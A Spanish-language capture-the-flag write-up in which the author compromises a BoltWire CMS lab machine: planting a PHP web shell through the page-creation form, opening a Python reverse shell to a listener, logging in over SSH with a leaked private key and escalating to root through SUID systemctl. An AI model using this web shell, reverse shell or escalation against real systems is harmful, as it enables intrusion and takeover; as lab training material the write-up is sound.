[Convid CTF] asdasd - Writeup

Published on 15 June 2020 at 12:17AM, by xpl0ited1

#ctf, #writeups, #maquinas, #caja, #convid

ConvidCTF 2020 - asdasd - Máquinas Writeup

Buenas a todos, hoy les traigo un writeup de uno los retos de la categoría de la categoría "Máquinas",
el nombre del reto era asdasd, este reto tenía dos flags, la primera de estas (user.txt) de 500 puntos
y la segunda (root.txt) 300 puntos.

alt text

Para comenzar este reto me dirigí directamente al puerto 80 de esta máquina utilizando mi navegador,
allí me esperaba la página incial del CMS BoltWire

alt text

Lo que primero llamó mi atención fue la palabra ADMIN en el menú horizontal de la página, por lo cual decidí
tratar de acceder allí, al hacerlo me encontré con el siguiente mensaje

alt text

Tras ese intento fallido de enumerar de manera rápida las funcionalidades del sitio web, decidí crear una cuenta en éste,
asi que hice click en el submenu register e ingrese mis futuras credenciales de acceso.

alt text

Luego de registrarme exitosamente en el sitio, noté que éste me había logueado
automáticamente por lo que contaba con una sesión activa

alt text

Asi que nuevamente quize ingresar al panel de ADMIN y pum!, Access Blocked.. raios :c

alt text

Para expandir mi Attack Surface fui a la páguina oficial del CMS BoltWire y me descargué su versión clásica

alt text

Anteriormente me habia fijado en el parametro p el cual cambiaba según la página en que estaba navegando

alt text

Cuando la descarga del CMS finalizó, encontré dentro de una de las carpetas que existia un archivo llamdo register,
tal cual como el nombre del parametro p mencionado anteriormente

alt text

Y más arriba existía uno que me llamo la atención action.create, quizas podría subir archivos,
quizas podria crear un usuario con permisos de adminstracion, quizas podria crear archivos...

alt text

Al cambiar el valor del parametro p por action.create, se me desplezo un formulario
que indicaba que podia crear una página. Dado esto decidí crear una de prueba y de regalo un trozito de código PHP
que me permitiría posiblemente ejecutar comandos de sistema bajo el contexto de la página

Hola<?php passthru($_GET["cmd"]); ?>

alt text

Luego de guardar esta nueva página fui redirigido a esta misma pero para mi mala suerte,
el contenido no fue interpretado por el motor de PHP

alt text

Por la ct.... no se ejecutó el pinche código asi que me puse a enumerar los directorios con
ffuf y encontré pages

alt text

Me fui de cabeza a ese directorio y encontré la página que recién había creado, además de otras que me llamaron la atención.. pero no tanto

alt text

Nuevamente fui a mi página recien creada y puuum!, nada, otra vez no fue interpretado mi código,
peroooo .... y si le agrego la extension .php

alt text

Eso!.. me fui a crear otra página, pero esta vez el nombre de la página sería test.php

alt text

Otra vez luego de guardarla, nada, el código no era interpretado

alt text

perooooooooooooooo acá en la carpeta pages, estaba mi hermosa página...

alt text

Tras hacerle click, nada no se renderizaba nada, asi que probablemente mi código PHP se estaba interpretando..

alt text

le agregué el parámetro 0, de valor le di un simple comando para listar directorios en Linux

ls -la

Y siiiiiiiiiiiiii, ajajajajajjaj... se ejecutó el pinche comando...

alt text

En mi terminal levante un listener con netcat

nc -lvnp 3000

alt text

Me fui a mirar si había alguna versión de python instalado en la máquina

which python3

alt text

Le di con el siguiente comando para obtener una reverse shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Y pude lograr la deseada reverse shell

alt text

alt text

Antes de ir por la flag de usuario quize enumerar más la maquina para poder tener mas claro,
como podría escalar privilegios y lograr ser root, me fui a la vieja y confiable.. el cheatsheet de g0tm1lk.
Tras varios copy paste llegue a la parte de los SUID

alt text

Tras ejecutar el comando noté que systemctl, estaba con el bit de SUID, que tsutsa..

alt text

Ahora en GTFOBins busqué el pinche binario y para suerte mia existia un método de escalación utilizando systemctl + SUID

alt text

alt text

Ya tenia mi vector para escalar privilegios, asi que me fui a sacar la flag del user

alt text

Luego hice paso a paso, modificando un poco lo que decia en GTFOBins, cree un archivo test.service
le puse la estrucura básica de un servicio de windows...

alt text

Levante nuevamente un listener en mi máquina...

alt text

Hice una copia del systemctl, nose porqué, pero en GTFOBins decia que había que hacerlo... XD
Y cuando quize obtener mi reverse shell.... Failed to link unit: Interactive authentication required

alt text

:c Que w3a... maldito www-data.. Pero filo, había un archivo que no había mirado en el home del usuario ubuntu, secret.txt

alt text

Cuando lo miré dije, Meh, un llave pública...

alt text

Fue en ese momento que aparecieron los cauros @h4tt0r1 y @fjv al rescate, recordaron un repósitorio de llaves privadas..
Yaaaa yyyyyyy... napo habian hartas..

alt text

Pero cuando grepearon la llave pública que estaba en secret.txt.. ahi estaba la pinche llave privada...

alt text

alt text

ssh [email protected] -i llavectm

alt text

Luego de entrar como el usuario ubuntu, ya tenia enumerado como escalar,
asi que nuevamente intente los pasos para crear el servicio..

/bin/systemctl link /tmp/test.service
/bin/systemctl enable /tmp/test.service
/bin/systemctl start test.service

alt text

Me fui corriendo a revisar mi listener y siiiiiiiiiiiii HAAHHAHAHAHAA una shell con el usuario ROOOOOOT

alt text

Y eso.. fui a /root, saque la flag y 300 puntitos mas pa [email protected] [email protected]..

test

Ese fui mi humilde writeup, espero puedan rescatar algo c:

Gracias los cabros que apañaron en el reto @h4tt0r1 y @fjv

Y un saludo a mi awelita que no la veo hace rato por el pinche virus.. :c

@xpl0ited1